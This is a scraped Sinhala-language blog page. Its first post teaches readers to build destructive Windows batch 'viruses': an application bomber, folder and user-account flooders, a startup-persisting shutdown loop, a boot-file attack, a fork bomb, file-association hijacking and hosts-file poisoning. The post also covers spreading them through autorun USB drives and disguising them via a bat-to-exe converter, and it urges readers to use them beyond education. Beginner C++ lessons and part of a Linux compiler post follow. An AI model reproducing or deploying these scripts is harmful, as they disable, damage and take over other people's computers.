<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZqlpF6ouupml6XCobIrlcrNO82dm7j1qB9e7KSmP6umcFiVbTEM3JJAvQPXgDoEZ86Y4iOYFfNLL8qOWHf9rVJBdHBTedfBfhurUmZalhv_omWGLI2TcvhN1rRWyl2AEMXZ-mrtAi696b/s1600/hacker-virus-loading-computer-hd-wallpaper-1920x1080-6322.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZqlpF6ouupml6XCobIrlcrNO82dm7j1qB9e7KSmP6umcFiVbTEM3JJAvQPXgDoEZ86Y4iOYFfNLL8qOWHf9rVJBdHBTedfBfhurUmZalhv_omWGLI2TcvhN1rRWyl2AEMXZ-mrtAi696b/s1600/hacker-virus-loading-computer-hd-wallpaper-1920x1080-6322.jpg" height="180" width="320" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
හොඳයි හුඟ දවසකින් Hacking ගැන මුකුත් දැම්මේ නෑ මොකද Programming Post වලට මුල්තැන දීල හිටපු නිසා. ඒ මොකද HACKER කෙනෙක් වෙන්නනම් ඉතින් ඉස්සරලාම ඊට අවශ්ය දැනුම රැස්කරගෙන ඉන්න වෙනව නැත්නම් hack වෙන්නේ අපිවමයි. අන්න එතනදී HACKER කෙනෙක් විදිහට අවම වශයෙන් එක් Programming language එකක්වත් හැසිරවීමේ හැකියාව තිබීම ඉතාමත් වැදගත්. හරි අපි මාතෘකාව දිහාවට හැරෙමුකො.
<br />
<br />
මේ BATCH files කියන්නේ windows පරිඝණක වල ක්රියාත්මක කල හැකි ".bat" කියන extensions එක සහිත files විශේෂයකට. අපිට පුලුවන් මේ BATCH FILES හරහා ඉතාමත් විනාශකාරී VIRUSES නිර්මාණය කරන්න. හරි මං දැන් දෙනව ඔයාලට code එකක් ඒ code එක notepad එකකට paste කරල අපි ඒක save කරන්න ඔනෙ .bat කියන extension එක සහිතව (උදා H4CK3R.bat) ඒ වගේම මතක ඇතුව all files කියල දෙන්න. දැන් VIRUSES එක attack එකට සූදානම්. නමුත් ඊට කලින් අපි පොඩ්ඩක් මෙ BATCH files වල ක්රියාකාරීත්වය ගැන පොඩි අවදානයක් යොමු කරල ඉමු.
<br />
<br />
<span style="color: #0b5394;"><u>මොනවද මේ Batch Files කියන්නේ?
</u></span><br />
<br />
අපි පොඩි උදාහරනයකින් පටන් ගමු, මුලින්ම ඔයාලගේ command prompt(cmd) එක open කරගන්නකෝ ඊට පස්සේ cmd එකෙන් desktop එකට එන්න (cd desktop කියල type කරල enter කරානම් හරි).
<br />
<br />
දැන් පිලිවලින් එකින් එක මේ commands ටික දෙන්නකො.
</div>
<div style="text-align: left;">
md blah1</div>
<div style="text-align: left;">
cd blah1</div>
<div style="text-align: left;">
md blah2<br />
<br />
පලවෙනි එකෙන් කරන්නේ blah1 කියන නමින් ඔයාලගේ desktop එකේ folder එකක් හදනව. දෙවනි command එකෙන් වෙන්නේ cmd එකෙන් blah1 කියන folder එක ඇතුලට යනව. තුන්වෙනි එකෙන් වෙන්නේ blah1 කියන folder එක ඇතුලේ blah2 කියල folder එකක් හැදෙනව. දැන් ඔයාලගේ desktop එකේ බැලුවොත් පෙනෙයි මේ විදිහේ folders හැදිල තියනව. හරි cmd එක වහල blah1 folder එක මකල දාන්න.
<br />
<br />
දැන් අපි මේකම වෙනත් ක්රමයකට කරන්නයි යන්නේ. මේ commands තුනම notpad එකකට ගන්නකො ඊට පස්සේ ඔයාලට කැමති නමක් දීල මේක save කරන්න හැබැයි මතක ඇතුව extension එක වෙන්න ඔනෙ .bat (desktop එකේම save කරන්න)
<br />
<br />
දැන් ඔයාල ඒ .bat file එක double click කරොත් පෙනෙයි අපි කලින් cmd එක මගින් commands තුනකින් කරපු දේ මේ .bat file එක මගින් එකවරම සිද්ද කරල තියනව. ඒ තියන්නෙ ඔයාගේ desktop එකේ blah1 කියල folder එකක් සහ ඒක ඇතුලේ blah2 කියල folder එකක් නිර්මානය වෙලා තියනව.
<br />
<br />
ඉතින් ඔයාලට තේරෙනව ඇති මේ batch එකක් මගින් පුලුවන් අපට cmd commands කීපයක් පිලිවලින් automatically execute කරගන්න.
<br />
<br />
<u><span style="color: #0b5394;">මොනවද මේ batch viruses වලට කරන්න පුලුවන් දේවල්?
</span></u></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYgR7JWmiWomOIlFFCGnIwvZwuCy4cxPc2OfGiS8RXuT7qbLhH_PLeITuBRyhmMYejJHxNVpyLHVbSGfxMJl-3Y4H0GWhYkGmRS2UmONPkL48MmdKsm_fpKA08RiQCbFnBbr8bx_3Kh8QI/s1600/computer-virus-46.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYgR7JWmiWomOIlFFCGnIwvZwuCy4cxPc2OfGiS8RXuT7qbLhH_PLeITuBRyhmMYejJHxNVpyLHVbSGfxMJl-3Y4H0GWhYkGmRS2UmONPkL48MmdKsm_fpKA08RiQCbFnBbr8bx_3Kh8QI/s1600/computer-virus-46.jpg" height="239" width="320" /></a></div>
<div style="text-align: left;">
<br />
අපට පුලුවන් මේ batch viruses බාවිතා කරල windows files නැත්නම් system files මකල දාන්න සහ වෙනස් කරන්න, සම්පූර්න disk එකක් format කරන්න, තොරතුරු සොරාගන්න ඒවගේම disable firewalls, open ports, සම්පූර්නයෙන්ම registry එක වෙනස් කරන්න විනාස කරල දාන්න සහ මේ වගේ තව ගොඩක් දේවල්.
<br />
<br />
හොඳයි අපි දැන් සරල code එකකින් පටන් ගමු, පහත දැක්වෙක code එක notpad එකකට copy කරගන save කරගන්න. මතක තියා ගන්න අපි save කරන්න ඔන .bat කියල. (H4CK3R.bat)
<br />
<br />
<span style="color: #3d85c6;">1. Application Bomber
</span><br />
<br />
<span style="color: #e06666;">@echo off
<br />:x
<br />start winword
<br />start mspaint
<br />start notepad
<br />start write
<br />start cmd
<br />start explorer
<br />start control
<br />start calc
<br />goto x</span>
<br />
<br />
මෙහි @echo off මගින් සිදුකරනුයේ batch files එක executed වන අවස්තාවේදී commands නොපෙන්වා ක්රියා කිරීම සඳහායි. මෙහි x variable එක මගින් සිදුකරනුයේ මෙම batch files එක මගින් සිදුකරන ක්රියාවලිය නැවත නැවත සිදුකිරීමයි.
<br />
මෙම batch files එක execute කිරීමෙන් සිදුවන්නේ windows applications කීපයක්(notpad, cmd, etc...) open වීම සහ එය නැවත නැවත නොකඩවා සිදුවීමයි. මේ නිසා පරිඝණකයේ ක්රියාකාරීත්ව අඩපන වීමක් සිදුවේ.
<br />
<br />
<span style="color: #3d85c6;">2. Folder flooder
</span><br />
<br />
<span style="color: #e06666;">@echo off
<br />:x
<br />md %random%
<br />goto x
</span><br />
<br />
මෙහි ඇති %random% variable එක මගින් සිදුවන්නේ එකින් එකට වෙනස් numbers නිර්මාණය කිරීමයි. මෙම code එක මගින් අපිට පුලුවන් විශාල folders පුමාණයක් එකවර නිර්මානය කරගන්න. උදාහරනයක් විදිහට මෙම batch file එක අපි c drive එක ඇතුලේ වගේ ක්රියාත්මක කලොත් විනාඩි කීපයකින් c drive එක සම්පුර්ණයෙන්ම folders වලින් පුරවන්න පුලුවන්. එමගිනුත් පරිඝණකයේ න්රියාකාරීත්ව අඩපන වීමක් සිදුවෙනව
<br />
<br />
<span style="color: #3d85c6;">2.1.User account flooder
</span><br />
<br />
<span style="color: #e06666;">@echo off
<br />:x
<br />net user %random%
<br />goto x</span>
<br />
<br />
මෙ code එකෙන් පුලුවන් අපි කලින් සිදුකරා වගේ folders වෙනුවට එකින් එකට වෙනස් user accounts විශාල ප්රමාණයක් නිර්මාණය කරන්න.
<br />
<br />
<br />
<span style="color: #3d85c6;">3.Shutdown Virus
</span><br />
<br />
<span style="color: #e06666;">copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
<br />copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”
<br />shutdown -s -t 00
</span><br />
<br />
(1 සහ 2 line වල ඇති 'anything' වෙනුවට මෙම batch file එක save කිරීමේදී යොදා ගන්නා නමම ඇතුලත් කරන්න.)
<br />
මෙහි ඇති පලවන සහ දෙවන lines වලින් කරන්නේ මෙම batch file එක පරිඝණකයේ Startup folder එකට copy කරගන්නවා එම නිසා පරිඝණකය boot කරන සෑම අවස්තාවකම මෙම batch file එක ක්රියාත්මක වෙනව. එහිදී සිදුවන්නේ මෙහි තුන්වන line එකට අනුව පරිඝණකය සැනින් shutdown වීමයි. මෙම code එක windows xp සඳහා වන අතර මෙය windows 7 සඳහා බාවිතා කිරීමට path එක මෙ ලෙස වෙනස් කල යුතුයි C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
<br />
<br />
සෑම අවස්තාවකම පරිඝණකය න්රියාත්මක කීරීමේදී Startup folder හී ඇති batch file එක ක්රියාත්මක වී පරීඝණකය සැනින් නැවත shutdown වෙනව මේක නැවැත්වීමට windows Safe Mode හරහා පරිඝණකය boot කරල Startup folder එකේ තියන batch file එක delete කරල දාන්න ඔනෙ.
<br />
<br />
<br />
<span style="color: #3d85c6;">4. Deleting boot files
</span><br />
<br />
windows xp වලදී c drive එකේ තියනව file එකක් 'ntldr' කියල මේ file එක අනිව තියෙන්න ඔනේ windows boot වෙන්නනම් බැරිවෙලාවත් මේක නැතිවුවොත් කිසිවිටකත් පරිඝණකය boot වෙන්නේ නෑ. අපි batch file එකක් හදමු මේ file එක පරිඝණකයෙන් ඉවත් කරන්න.
<br />
<br />
<span style="color: #e06666;">attrib -S -R -H C:\ntldr</span>
<br />
<br />
මේක තමයි code එක. මේ batch එක එකපාරක් පරිඝණකයේ ක්රියාත්මක වුනොත් කිසිවිටක්ත් පරිඝණකය නැවත boot වෙන්නේ නම් නෑ. සාමාන්යයෙන් victim කෙනක් කරන්නේ මේ අවස්තාවෙදී නැවත windows install කීරීමයි.
<br />
<br />
<br />
<span style="color: #3d85c6;">5. Fork Bomb
</span><br />
<br />
<span style="color: #e06666;">%0|%0
</span><br />
<br />
පෙනුමට ගොඩක් පොඩි වුනාට මෙයා ගොඩක් බයානකයි. මේ code එකෙන් කරන්නේ ඉක්මනින්ම විශාල processes ප්රමානයක් එකවර ක්රියාත්මක කරනව එමගින් windows සම්පූරිණයෙන්ම අඩපන වෙනවා.
<br />
<br />
<br />
<span style="color: #3d85c6;">6. Extension Changer
</span><br />
<br />
<span style="color: #e06666;">@echo off
<br />assoc .txt=anything
<br />assoc .exe=anything
<br />assoc .jpeg=anything
<br />assoc .png=anything
<br />assoc .mpeg=anything
</span><br />
මේකනම් තනිකරම පරිඝණකය පිස්සු වට්ටන batch file එකක්. මේකෙන් වෙන දේ තමයි අපි දන්නව පරිඝණකයේ තියන සෑම file එකකටම වගේ එයට වෙන්වූ file type එකක් තියනව(උදා- .exe .txt .jpeg .png .mpeg) ඉතින් මේ batch file එකෙන් කරන්නේ මේ extensions සියල්ල ‘anything’ කියන file type එකට වෙනස් කරනව. ආ.. anything කිවුවේ ඔයාලට කැමති එකක් දාගන්න පුලුවන්. මේ batch file එක ක්රියාත්මක කලොත් එතනින් පස්සේ .exe .txt .jpeg .png .mpeg මෙවැනි files open කරන එකනම් ලේසි වෙන්නේ නෑ.
<br />
<br />
<br />
<span style="color: #3d85c6;">7. DNS Poisoning</span><br />
<br />
ඔන්න මේ ගැනනම් මං කලින් කියල දීල තියනව ඒ තමයි DNS. දන්නේ නැත්නම් <a href="http://rooth4ck3r.blogspot.com/2014/04/dns-hacking-part-1.html" target="_blank">මෙතනින්</a> ගිහින් බලන්නකෝ.
</div>
<div style="text-align: left;">
<span style="color: #e06666;">@echo off
<br />echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts</span><br />
<br />
'xxx.xxx.xxx.xxx' මෙතනට ඔයාලට දාන්න ඔන IP එකත්. 'www.anything.com' මෙතනට ඔයාලට ඔන web address එකත් දෙන්න.
<br />
<br />
<br />
තවදෙයක් තමයි මේ batch viruses ගොඩක් වෙලාවට anitiviruses වලින් හඳුන ගන්නේ නෑ. ඒ වගේම තමයි මං මේ ඔයාලට දීල තියෙන්නේ ගොඩක් ප්රසිද්ද batch viruses කීපයක්. ඔයාලට පුලුවන් මීට වඩා හොඳ viruses නිර්මානය කරන්න ඒකට ඔයාලට ඕන කරන්නේ DOS commands දැනගැනීම සහ තර්කාණු කූලව එවා බාවිතා කීරීමේ හැකියාව පමනයි.
<br />
<br />
<br />
<span style="color: #3d85c6;">Batch Viruses වල තියන දුර්වලතා -:</span></div>
<div style="text-align: left;">
<br />
1. Victim ට පුලුවන් මේ batch file ලේසියෙන්ම notepad එකකින් open කරල බලන්න. <br />
2. batch viruse එක ක්රියාත්මක වන අවස්තාවේ command prompt එක pops up වීමක් සිදුවෙනව ඒ නිසා ලේසියෙන්ම හඳුනගන්න පුලුවන්. <br />
<br />
ඉතින් ඔයාලට මේ දුර්වලතා මගහැර ගන්න පුලුවන් batch file එක exe file එකක් විදිහට convert කරල. ඔයාලට පුලුවන් පහතින් Batch To Exe converter එක Download කරගන්න. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.dropbox.com/s/lqtsupoyslmtxye/Bat%20to%20EXE.zip?dl=0" target="_blank"><img alt="https://www.dropbox.com/s/lqtsupoyslmtxye/Bat%20to%20EXE.zip?dl=0" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNmoLPG64SSxMYsAV5zbKZ10rzXYhM09IpdbkOzmQDqyrYcQkPsGOMhL6Yh2AyZ0Pl_en6uw9l-jPc0bKeZS2_Oxc6lE-HbKw3nFmNabW4t7qQ4oDQarxw7NvTb26nkxd27xNmIWTtDLbt/s1600/download-button-fertig1.jpg" height="84" width="200" /></a></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: left;">
pw is : H4CK3R#<br />
<br />
ආ.. තවදෙයක් මේ batch viruses අපිට පුලුවන් pen drive එකක් හරහා පරිඝණක වලට ආසාධනය කරන්න මේ විදිහට. -:
<br />
<br />
Step 1: notepad එකක් Open කරල මේ code එක type කරගන්න.
</div>
<div style="text-align: left;">
<span style="color: #e06666;">[autorun]</span></div>
<div style="text-align: left;">
<span style="color: #e06666;">open=anything.bat</span></div>
<div style="text-align: left;">
<span style="color: #e06666;">Icon=anything.ico</span><br />
<br />
ඊට පස්සේ ‘autorun.inf’ කියල save කරන්න 'anything' කියන තැනට batch virus එකේ නම. <br />
<br />
Step 2: ඊට පස්සේ මේ ‘autorun.inf’ එකයි ‘anything.bat’(ඔයාගේ virus එක) එකයි pendrive එකට දාන්න. දැන් pendrive එක windows පරිඝණකයකට සම්බන්ද කරපු ගමන් වැඩේ ගොඩ.<br />
<br />
මේ දෙවල් ඉගන ගන්න විතරක්ම නෙමේ කරලත් බලන්න හොඳද(Not only educational purpose). හරි හරි මං ගියා එහෙනම් ඊලඟ post එකෙත් හම්බෙමු.</div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com2tag:blogger.com,1999:blog-1015943570259670143.post-20352190127126388922014-09-01T23:53:00.000+05:302014-09-11T13:19:28.762+05:30C++ සිංහලෙන් පාඩම 4 - පලවෙනි program එකට සූදානම් වෙමු. 1 කොටස. <div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQo3bVIEMDB-JY6VePZEl514A5cQu5-TS86K9e1Eb6IHb5xEXRUB61KUCU2c_0T9TdbYEYfhL3XFXgEKHpcnTaHqZy7xUznT7TVKakc70rwZwGFrxSOImZiHKniEuW9ExI7wzoo-gAlNLu/s1600/minion_hitman-1024x768.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQo3bVIEMDB-JY6VePZEl514A5cQu5-TS86K9e1Eb6IHb5xEXRUB61KUCU2c_0T9TdbYEYfhL3XFXgEKHpcnTaHqZy7xUznT7TVKakc70rwZwGFrxSOImZiHKniEuW9ExI7wzoo-gAlNLu/s1600/minion_hitman-1024x768.jpg" height="300" width="400" /></a></div>
<br />
<br />
මං හිතනව දැනටමත් පහුගිය පාඩම් වලට අනුව ඔයාගේ පරිඝණකයේ development environment එක හදාගන ඇති කියල. ඒ කියන්නේ ඔයා දැනටමත් program එකක් නිර්මාණය කරල run කරන්න පුලුවන් තත්වයේ ඉන්නවා. ඒක ලොකු දෙයක්.<br />
<br />
මේ පාඩමේදී මං බලාපොරොත්තු වෙනව මේ දේවල් ගැන කතා කරන්න ඒව තමයි, අපි දන්නවා program එකක් නිර්මාණය කිරීමේදී අපිට source codes ලියන්න වෙනව මං කලිනුත් කිවුවනේ C++ කියන language එකට ආවේනික වූ වචන මාලාවක් තියනව. ඒ වචන මාලාව උපයෝගී කරගන තමයි මෙ source code එක ලියන්නේ. ඉතින් මේ වචන මාලාවේ නැවත නැවත යෙදෙන සංකල්පයන් කීපයක් ගැනත් ඒ වගේම කොහොමද program එකක් ව්යූහගත(structured) කරන්නේ, ප්රධාන කාර්යන්(main function) මගින්. ඒ වගේම program එකකට කෙොෙහාමද comments එකතු කරන්නේ. සහ පොඩි මග පෙන්වීමක් කරනවා කොහොමද programmer කෙනෙක් වගේ හිතන්නේ කියල. <br />
<br />
සරල program එකකින් පටන් ගමු. <br />
<br />
මේක ඉතාමත් සරල program එකක් මේකේ කිසිම output එකක් අපිට දකින්න බෑ අපි පියවරෙන් පියවර ඉදිරියට යං. <br />
<br />
<div style="text-align: left;">
<span style="color: #e06666;">int main ()</span></div>
<div style="text-align: left;">
<span style="color: #e06666;">{</span></div>
<div style="text-align: left;">
<span style="color: #e06666;">}</span></div>
<br />
අපි බලමු මෙහි පලවෙනි line එකෙන් මොකක්ද කරන්නේ කියල. <br />
<br />
<div style="text-align: left;">
<span style="color: #e06666;">int main ()</span></div>
<br />
මුලීකවම මෙයින් අදහස් වෙන්නේ function(කාර්ය) එකක් තියනව ඒකේ නම තමයි main(ප්රධාන) කියන එක. ඒ වගේම මේ main function එක C++ program එකක අඩංගු එකම function එක වෙන්නේ. තව දෙයක් තමයි ඔයාගේ program එක run කරනවිට මේ main function එකෙන් තමයි ඒක පටන් ගන්නේ. <br />
<br />
curly braces(සඟල වරහන්), { සහ }. මෙමගින් කරන්නේ program එක පටන් ගන්නා ස්තානය සහ අවසන් වන ස්තානය දැක්වීමක්. ඔයාලට හිතන්න පුලුවන් මේ තමයි program එකේ පටන් ගැන්ම සහ අවසානය කියල. ඒ වගේම තමයි curly braces දෙක අතර කිසිම දෙයක් නෑ කියන්නේ ඒ function එකෙන් කිසිම දෙයක් සිද්ද වෙන්නේ නෑ කියන එකයි. ඒ කියන්නේ ඔයා මේ program එක run කරාට කිසිම output එකක් ලැබෙන්නේ නෑ. හොඳයි දැන් අපි තව ටිකක් ඉස්සරහට යමු. <br />
<br />
<div style="text-align: left;">
<span style="color: #e06666;">#include <iostream></span></div>
<div style="text-align: left;">
<span style="color: #e06666;"><br /></span></div>
<div style="text-align: left;">
<span style="color: #e06666;">using namespace std;</span></div>
<div style="text-align: left;">
<span style="color: #e06666;"><br /></span></div>
<div style="text-align: left;">
<span style="color: #e06666;">int main ()</span></div>
<div style="text-align: left;">
<span style="color: #e06666;">{</span></div>
<div style="text-align: left;">
<span style="color: #e06666;"> cout << "HEY, you, I'm HACKER, and Hello World!\n";</span></div>
<div style="text-align: left;">
<span style="color: #e06666;">}</span></div>
<br />
හැම දේටම කලින් කියන්න ඕනේ ඔයාලට පේනව ඇති මේ program එක් curly braces දෙක අතර යම් line එකක් තියනව. so එකෙන් අදහස් වෙන්නේ මේ program එකේ යම් output එකක් තියනව කියන එකයි. <br />
<br />
අපි පලවෙනි line එකෙන් පටන් ගමු. <br />
<br />
<div style="text-align: left;">
<span style="color: #e06666;">#include <iostream></span></div>
<br />
මේ include කියන statement(ප්රකාශනය) එකෙන් කරන්නේ අපේ compiler එකට දැනුම් දෙනව iostream කියන header file එක ප්රභව කේතයට(source code) එකතු කරන්න කියල program එක execut කරන්න කලින්. මේ header files කියන්නේ compiler එකත් එක්ක එන code කීපයක්. Borland compiler එකේ නම් මේ files තියෙන්නේ Include කියන folder එක ඇතුලේ. #include මේ විදානය බාවිතා කරල අපිට පුලුවන් අදාල header file එකේ තියන සියල්ල අපේ ප්රභව කේතයට එකතු කරගන්න. ඉතින් මේ header files හරහා තමයි අපි අපේ program එකට functions එකතු කර ගන්නේ. <br />
<br />
හැම විටම අපිට functions වලට ප්රවේශ වෙන්න ඔන වුනහම, අපි මුලින්ම කරන්න ඕන දේ තමයි ඒ අදාල functions සහිත header file එක අපේ source code එකට include කරගන්න එක. අපිට අවශ්ය වන functions ගොඩක් තියන header file එකක් තමයි iostream කියන්නේ. ඉතින් ඔයාලට ඉදිරියට බලාගන්න පුළුවන් මේ include statements හරහ අපි මොනවද කරන්නේ කියල<br />
<br />
include statement එකට පස්සේ තියන line එක තමයි:<br />
<br />
<div style="text-align: left;">
<span style="color: #e06666;">using namespace std;</span></div>
<br />
මේකට කියන්නේ boilerplate(බොයිලර්ප්ලේට්) code එක කියල මේය සෑම C++ program එකකම වගේ ඇතුලත් වෙනව. දැනට මතක තියා ගන්න හරියටම source code එකේ උඩින්ම තියන include statement එකට යටින් මේක තියෙන්න ඔනේ කියල. අපි මේ ගැන පසුව කතා කරනව හරිවටම boilerplate code එකෙන් වෙන්නේ මොකද්ද කියන එක ගැන. so දැනට අමතක නොකර මේ line එක add කරන්න. <br />
<br />
ඒ වගේම ඔයල දැක්කද මේ line එක අවසානයේ semicolon(තිත් කොමාව) එකක් add කරල තියනව. මේ semicolon එකක් add කරන එක C++ programming syntax(කාරක රීති) වල කොටසක්. යම් statement එකක් අවසාන වෙන ස්ථානය compiler එකට දැනුම් දීම තමයි මේ semicolon එකෙන් සිද්ද වෙන්නේ. බොහොමයක් new programmers ලා කරන ලොකුම වැරද්දක් තමයි මේ semicolon එක යොදන්න අමතක කරන එක. so ඔයාගේ program එක හරියට වැඩ කරන්නේ නැත්නම් ඉස්සරලාම බලන්න ඔන දේ තමයි semicolon හරියට යොදලද කියන එක. <br />
<br />
හොඳයි ඊලඟට අපිට තියෙන්නේ main function එක ඒ කියන්නේ program එක පටන් ගන්න ස්ථානය: <br />
<br />
<div style="text-align: left;">
<span style="color: #e06666;">int main ()</span></div>
<br />
<br />
මේක තමයි අපිට ඊලඟට හම්බවෙන line එක. <br />
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="color: #e06666;">cout << "HEY, you, I'm HACKER, and Hello World!\n";</span></div>
<br />
C++ වලදී cout (උච්චාරණයේදී "සී අවුට්") කියන object එක බාවිතා කරන්නේ text එකක් දර්ශනය කරගැනීම සඳහායි. අපි මේ cout බාවිතා කිරීම සඳහා තමයි iostream header file එක included කරගත්තේ. <br />
<br />
cout object එකේදි අපි << සංකේතය බාවිතා කරනව අපේ output එක පෙන්වා දෙන්න. කෙටියෙන් කියනවනම් මෙහි(cout <<) ප්රතිඵලය වන්නේ function එක හරහ යම් text line එකක් ඉදිරිපත් කරන එක. programming වල සමහර අවස්තාවන් තියනව අපිට හරියටම සිංහලෙන් නියම අදහස දෙන්න අමාරුයි මොකද එහෙම කරන්න ගියොත් ඒවගේ අදහස වෙනස් වෙනව. ඒ කියල මට English වලින් ලැහැදිලි කරන්නත් බෑනේ මොකද මේක සිංහලෙන් programming නේ. ඉතින් මං හිතනව ඔයාලට මේ විදිහට තේරෙනව ඇති කියල. <br />
සාමාන්යයෙන් අපි මේ වගේ function එකක result එකට කියනව argument එකක් කියල. මේ Functions ඒ Function එකට අදාල arguments ගන්නේ එහි code එක මගින්. මේ අවස්තාවෙදී ඔයාලට පේනව ඇති මේ text string එක තමයි Function එකේ argument එක විදිහට ඉදිරිපත් කරන්නේ. <br />
<br />
[""] මෙමගින් තමයි compiler එකට උපුටා දක්වන්නේ මෙහි ඇතුලත් text string එක output එකක් විදිහට දෙන්න ඔන කියල. ඊලඟට වැදගත් එකක් තමයි මේ newline sequence (\n) එක. මේක C++ වල ක්රියා කරන්නේ single character එකක් විදිහට. මෙමගින් කරන්නේ මූලිකවම හරියට අපි enter key එක එබුවහම අපේ cursor එක ඊලඟ Line එකට වැටෙනව වගේ දෙයක්. ඒවගේම ඔයාලට දකින්න පුලුවන් අපි ඉදිරියේදි විශේෂ value එකක් බාවිතා කරනව end1 කියල. මේකෙන් සිද්ද වෙන්නේත් මේ දේම තමයි ඒ කියන්නේ උදාහරනයක් දුන්නොත්: <br />
<div style="text-align: left;">
<span style="color: #e06666;">cout << "Hello" << endl</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="color: #e06666;">cout << "Hello\n"</span></div>
ඔයාලට පෙනව පලවෙනි line එකේ මං බාවිතා කරල තියනව end1 කියන value එක ඒ වගේම දෙවනි line එකේදි ඒ වෙනුවට newline character එක බාවිතා කරල තියනව මේ lines දෙකේම output එක 100% ක් සමානයි. මෙවාගේ වැඩිදුර බාවිතය පිලිබඳ අපි ඉදිරියට කතාකරමු. <br />
<br />
ඊලගට line එක අවසානයේ ඔයාලට පේනව ඇති මම semicolon එකක් බාවිතා කරල තියනව. function එකක් නම් ඉතින් අපි අනිව මේ semicolon එක යොදන්න ඕනේ. <br />
<br />
අවසාන වශයෙන් curly brace එක බාවිතා කරල function එක වහල දාන්න ඔනේ. ඔයාල අනිවාර්යෙන්ම මේ program එක run කරල බලන්න මේක ගොඩක් පොඩි program එකක් copy paste කරන්නනම් එපා මම recommend කරන්නේ ඔයාල අතින්ම මේක ලියන එක හොඳයි කියල. මොකද ඒක ඔයාලට උදවු වෙනව පොඩි දේවල් පවා හොඳින් හඳුන ගන්න. <br />
<br />
ඉතින් මේ program එක run කරල විතරක් නිකන් ඉන්න එපා ඔයාලට පුලුවන් මෙක වෙනස් කරල බලන්න වෙනත් lines බාවිතා කරල බලන්න. ඔයාල දන්නව language එකක් ඉගන ගන්න හොඳම ක්රමය තමයි Thinking & Speaking ඉතින් මේ programming language එකක් ඉගන ගන්න හොඳම ක්රමය තමයි Thinking & Executing. <br />
<br />
<br />
<u><span style="color: #6fa8dc;">ඔයාගේ Program එක පෙන්නන්නේ නැත්නම් මොකද කරන්නේ? </span></u><br />
<br />
ඔයාල බාවිතා කරන operating system එක සහ compiler එක අනුව මම මේ දීල තියන programs ඔයා run කරපුවහම ඒකේ result එක බලාගන්න කලින් program එක ඉක්මනින්ම close වෙලා යනවනම් හරියට flash වෙනව වගේනම් මොකද කරන්න ඔනේ. මම ඔයාලට කලින් පාඩම් වලදී කියල දුන්න environments බාවිතා කරනවනම් ඔයාලට මේ ගැටලුව එන්නේ නෑ නමුත් ඔයාල වෙන ක්රමයකට නම් මේ program එක run කරන්නේ ඔයාලට ඒ ගැටලුව එන්න පුලුවන්. ඒක නිවැරදි කර ගන්න පුලුවන් program එකට මේ line එක එකතු කිරීමෙන්. <br />
<br />
<div style="text-align: left;">
<span style="color: #e06666;">cin.get();</span></div>
<br />
මේක හරියටම program එකේ අවසානයට තමයි අපි එකතු කර ගන්න ඔනේ. මේකෙන් කරන්නේ ඔයා key එකක් press කරනකන් Program එක closes නොවී තියාගන්නව. so ඔයාලට පුලුවන් result එක හොඳින් බලාගන්න. <br />
<br />
ඔන්න video කෑල්ලකුත් දැම්ම වැඩේ කෙරෙන හැටි.<br />
තේරුන් නැති තැනක් තියනවනම් අහන්නකො හොඳද.<br />
<br /></div>
<iframe allowfullscreen="" frameborder="0" height="480" src="//www.youtube.com/embed/BMnQf5cOLJU" width="640"></iframe>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com7tag:blogger.com,1999:blog-1015943570259670143.post-2555109146713717022014-08-21T15:59:00.000+05:302014-08-21T15:59:01.965+05:30C++ සිංහලෙන් පාඩම 3 - Linux සඳහා programming පසුබිම සකසා ගැනීම.<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCYNzJuzQTIQnobcaYBdj_MSyDBoBbnoJbtGtFkpP_wLd3j-g0Rs_HFL0QLk4xu1Nrdqty9GCwlk0Ox00IJkl0SGjN3KPCi66jPhOWs0gFrVPNpERlSVVsof046XuqVqJarKHKixEeck7p/s1600/GNOME-TechGnome_1280x1024_Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCYNzJuzQTIQnobcaYBdj_MSyDBoBbnoJbtGtFkpP_wLd3j-g0Rs_HFL0QLk4xu1Nrdqty9GCwlk0Ox00IJkl0SGjN3KPCi66jPhOWs0gFrVPNpERlSVVsof046XuqVqJarKHKixEeck7p/s1600/GNOME-TechGnome_1280x1024_Screenshot.png" height="225" width="400" /> </a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: left;">
ඔයා වැඩ කරන්නේ Linux එක්කනම්, ඔයාගේ distro එකේ බොහෝ දුරට C++ compiler එකක් ඇතුලත් වෙලා තියෙන්න පුලුවන්. බොහෝ විට Linux වල තියන C++ compiler එක තමයි g++ කියන්නේ. ඒක GNU Compiler Collection එකේ එන Compiler එකක්.
<br /><br /><u><span style="color: #3d85c6;">Installing g++
</span></u></div>
<div style="text-align: left;">
